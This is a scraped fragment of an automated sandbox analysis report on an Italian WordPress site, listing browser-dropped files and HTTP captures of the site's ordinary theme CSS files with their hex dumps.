hr-invisible avia-builder-el-26 el_after_av_layout_row el_before_av_section avia-builder-el-no-sibling '><span class='hr-inner ' ><span class='hr-inner-style'></span></sp
2025-01-03 16:32:47 UTC	11480	IN	Data Raw: 65 63 65 73 73 61 72 69 20 70 65 72 20 69 6c 20 66 75 6e 7a 69 6f 6e 61 6d 65 6e 74 6f 20 64 69 20 71 75 65 73 74 6f 20 73 69 74 6f 2e 20 50 65 72 20 74 75 74 74 69 20 67 6c 69 20 61 6c 74 72 69 20 74 69 70 69 20 64 69 20 63 6f 6f 6b 69 65 20 61 62 62 69 61 6d 6f 20 62 69 73 6f 67 6e 6f 20 64 65 6c 20 73 75 6f 20 70 65 72 6d 65 73 73 6f 2e 3c 62 72 20 2f 3e 0d 0a 3c 62 72 20 2f 3e 0d 0a 51 75 65 73 74 6f 20 73 69 74 6f 20 75 74 69 6c 69 7a 7a 61 20 64 69 76 65 72 73 69 20 74 69 70 69 20 64 69 20 63 6f 6f 6b 69 65 2e 20 41 6c 63 75 6e 69 20 63 6f 6f 6b 69 65 20 73 6f 6e 6f 20 63 6f 6c 6c 6f 63 61 74 65 20 64 61 20 73 65 72 76 69 7a 69 20 64 69 20 74 65 72 7a 69 20 63 68 65 20 63 6f 6d 70 61 69 6f 6e 6f 20 73 75 6c 6c 65 20 6e 6f 73 74 72 65 20 70 61 67 69 Data Ascii: ecessari per il funzionamento di questo sito. Per tutti gli altri tipi di cookie abbiamo bisogno del suo permesso.<br /><br />Questo sito utilizza diversi tipi di cookie. Alcuni cookie sono collocate da servizi di terzi che compaiono sulle nostre pagi

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:47 UTC	584	OUT	GET /wp-content/themes/enfold/css/grid.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:48 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:48 GMT Content-Type: text/css Content-Length: 9488 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:48 UTC	9488	IN	Data Raw: 0a 2f 2a 20 54 61 62 6c 65 20 6f 66 20 43 6f 6e 74 65 6e 74 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 20 20 20 20 23 42 61 73 65 20 39 36 30 20 47 72 69 64 0a 20 20 20 20 23 54 61 62 6c 65 74 20 28 50 6f 72 74 72 61 69 74 29 0a 20 20 20 20 23 4d 6f 62 69 6c 65 20 28 50 6f 72 74 72 61 69 74 29 0a 20 20 20 20 23 4d 6f 62 69 6c 65 20 28 4c 61 6e 64 73 63 61 70 65 29 0a 20 20 20 20 23 43 6c 65 61 72 69 6e 67 20 2a 2f 0a 2f 2a 20 23 42 61 73 65 20 39 36 30 20 47 72 69 64 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 68 74 6d 6c Data Ascii: /* Table of Contents================================================== #Base 960 Grid #Tablet (Portrait) #Mobile (Portrait) #Mobile (Landscape) #Clearing // #Base 960 Grid================================================== */html

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.cipassoitalia.it/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7629d9b4-0f32-489e-875c-b24809995f63.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\5256051f-8384-4614-9f0e-791c6e9d8618.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67781174-7A0.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\29d125a0-5c7a-4392-a193-5f863963371f.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a1ad90f-4cce-4a32-a100-6f38a8d66187.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\543e462b-d66b-47e0-b2c0-b72733ff4ec1.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e0de91b-52a3-4217-9b1f-190444f2d986.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8856ba8b-a6c1-4111-b31d-140ef8b6a607.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8da2af79-8daf-43e4-a611-797f51f37a5b.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Windows Analysis Report
http://www.cipassoitalia.it/

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:47 UTC	584	OUT	GET /wp-content/themes/enfold/css/base.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:48 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:48 GMT Content-Type: text/css Content-Length: 19050 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:48 UTC	16091	IN	Data Raw: 2f 2a 20 54 61 62 6c 65 20 6f 66 20 43 6f 6e 74 65 6e 74 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 09 23 52 65 73 65 74 20 26 20 42 61 73 69 63 73 0a 09 23 42 61 73 69 63 20 53 74 79 6c 65 73 0a 09 23 53 69 74 65 20 53 74 79 6c 65 73 0a 09 23 54 79 70 6f 67 72 61 70 68 79 0a 09 23 4c 69 6e 6b 73 0a 09 23 4c 69 73 74 73 0a 09 23 49 6d 61 67 65 73 0a 09 23 42 75 74 74 6f 6e 73 0a 09 23 46 6f 72 6d 73 0a 09 23 54 61 62 6c 65 0a 09 23 4d 69 73 63 0a 20 20 20 20 23 57 6f 72 64 50 72 65 73 73 20 47 65 6e 65 72 61 74 65 64 20 47 65 6e 65 72 69 63 73 0a 20 20 20 20 23 70 72 69 6e 74 20 73 74 79 6c 65 73 0a 2a 2f 0a 0a 2f 2a 20 23 52 65 73 65 74 20 26 Data Ascii: /* Table of Content==================================================#Reset & Basics#Basic Styles#Site Styles#Typography#Links#Lists#Images#Buttons#Forms#Table#Misc #WordPress Generated Generics #print styles// #Reset &
2025-01-03 16:32:48 UTC	2959	IN	Data Raw: 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 7d 0a 23 74 6f 70 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 7d 0a 2e 62 6f 78 65 64 23 74 6f 70 7b 77 69 64 74 68 3a 31 30 30 25 7d 0a 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 0a 2e 75 6e 69 74 73 2c 2e 75 6e 69 74 7b 6d 61 72 67 69 6e 3a 30 7d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 6e 65 2e 75 6e 69 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 6e 65 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 74 77 6f 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 74 68 72 65 65 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 66 6f 75 72 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 66 69 76 65 2e Data Ascii: tainer{width:100%}#top{overflow-x:hidden}.boxed#top{width:100%}.container{width:100%;margin:0 auto}.units,.unit{margin:0}.container .one.unit,.container .one.units,.container .two.units,.container .three.units,.container .four.units,.container .five.

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:48 UTC	586	OUT	GET /wp-content/themes/enfold/css/layout.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:48 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:48 GMT Content-Type: text/css Content-Length: 79923 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:48 UTC	16091	IN	Data Raw: 2f 2a 20 54 61 62 6c 65 20 6f 66 20 43 6f 6e 74 65 6e 74 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 09 23 53 69 74 65 20 53 74 79 6c 65 73 0a 09 23 42 6c 6f 67 20 53 74 79 6c 65 73 0a 09 23 50 61 67 65 20 53 74 79 6c 65 73 0a 09 23 50 6f 73 74 20 46 6f 72 6d 61 74 73 0a 09 23 57 69 64 67 65 74 20 26 20 53 69 64 65 62 61 72 0a 09 23 46 6f 6f 74 65 72 Data Ascii: /* Table of Content======================================================================================================================================================#Site Styles#Blog Styles#Page Styles#Post Formats#Widget & Sidebar#Footer
2025-01-03 16:32:48 UTC	16384	IN	Data Raw: 3a 73 6f 6c 69 64 3b 20 7d 0a 0a 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 6c 65 66 74 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 72 69 67 68 74 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 7d 0a 0a 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 6c 65 66 74 20 23 66 6f 6f 74 65 72 2c 20 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 72 69 67 68 74 20 Data Ascii: :solid; }.html_header_sidebar.html_content_align_left .container {float:left;}.html_header_sidebar.html_content_align_right .container {float:right;}.html_header_sidebar.html_content_align_left #footer, .html_header_sidebar.html_content_align_right
2025-01-03 16:32:48 UTC	16384	IN	Data Raw: 77 69 64 74 68 3a 20 6e 6f 6e 65 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0a 7d 0a 0a 23 74 6f 70 20 2e 61 76 2d 6d 61 69 6e 2d 6e 61 76 20 75 6c 20 75 6c 20 7b 0a 6c 65 66 74 3a 2d 32 30 37 70 78 3b 0a 74 6f 70 3a 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 30 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 70 78 0a 7d 0a 0a 2e 61 76 2d 6d 61 69 6e 2d 6e 61 76 20 6c 69 3a 68 6f 76 65 72 20 75 6c 20 75 6c 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 23 74 6f 70 20 2e 61 76 2d 6d 61 69 6e 2d 6e 61 76 20 6c 69 3a 68 6f Data Ascii: width: none;text-decoration: none;font-family: inherit;}#top .av-main-nav ul ul {left:-207px;top:0px;margin:0;border-top-style: solid;border-top-width: 1px;padding-top: 0px}.av-main-nav li:hover ul ul{ display:none; }#top .av-main-nav li:ho
2025-01-03 16:32:48 UTC	16384	IN	Data Raw: 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 20 64 61 73 68 65 64 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 7d 0a 0a 23 74 6f 70 20 2e 73 75 62 5f 6d 65 6e 75 20 6c 69 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 3e 20 61 20 7b 0a 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 0a 23 74 6f 70 20 2e 73 75 62 5f 6d 65 6e 75 20 6c 69 20 6c 69 20 61 3a 68 6f 76 65 72 7b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 38 66 38 66 38 3b 0a 7d 0a 0a 2f 2a 74 68 69 72 64 20 6c 65 76 65 6c 20 61 6e 64 20 64 65 65 70 65 72 2a 2f 0a 23 74 6f 70 20 Data Ascii: xt-decoration: none;display: block;border-top-style: dashed;border-top-width: 1px;}#top .sub_menu li li:first-child > a {border: none;}#top .sub_menu li li a:hover{text-decoration: none;background: #f8f8f8;}/third level and deeper/#top
2025-01-03 16:32:48 UTC	14680	IN	Data Raw: 09 09 2e 72 65 73 70 6f 6e 73 69 76 65 20 2e 61 76 69 61 2d 63 6f 6f 6b 69 65 6d 65 73 73 61 67 65 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2c 0a 09 09 2e 72 65 73 70 6f 6e 73 69 76 65 20 2e 61 76 69 61 2d 63 6f 6f 6b 69 65 6d 65 73 73 61 67 65 2d 74 6f 70 2d 72 69 67 68 74 2c 0a 09 09 2e 72 65 73 70 6f 6e 73 69 76 65 20 2e 61 76 69 61 2d 63 6f 6f 6b 69 65 6d 65 73 73 61 67 65 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 7b 20 77 69 64 74 68 3a 20 33 35 25 3b 20 7d 0a 0a 0a 09 7d 0a 0a 09 2f 2a 20 54 61 62 6c 65 74 20 50 6f 72 74 72 61 69 74 20 73 69 7a 65 20 74 6f 20 73 74 61 6e 64 61 72 64 20 39 36 30 20 28 64 65 76 69 63 65 73 20 61 6e 64 20 62 72 6f 77 73 65 72 73 29 20 2a 2f 0a 09 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e Data Ascii: .responsive .avia-cookiemessage-bottom-left,.responsive .avia-cookiemessage-top-right,.responsive .avia-cookiemessage-bottom-right{ width: 35%; }}/* Tablet Portrait size to standard 960 (devices and browsers) */@media only screen and (min

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:48 UTC	642	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:48 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:48 GMT Content-Type: text/css Content-Length: 1385 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:48 UTC	1385	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 56 49 41 20 50 4c 41 59 45 52 20 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================AVIA PLAYER ========================================================================================

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:49 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons/buttons.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:49 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:49 GMT Content-Type: text/css Content-Length: 4709 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:49 UTC	4709	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 42 75 74 74 6f 6e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Button==============================================================================================

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:50 UTC	636	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:50 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:50 GMT Content-Type: text/css Content-Length: 11896 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:50 UTC	11896	IN	Data Raw: 0a 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 6c 69 64 65 73 68 6f 77 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Slideshow==========================================================================================

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:50 UTC	640	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_maps/google_maps.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:51 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:50 GMT Content-Type: text/css Content-Length: 2104 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
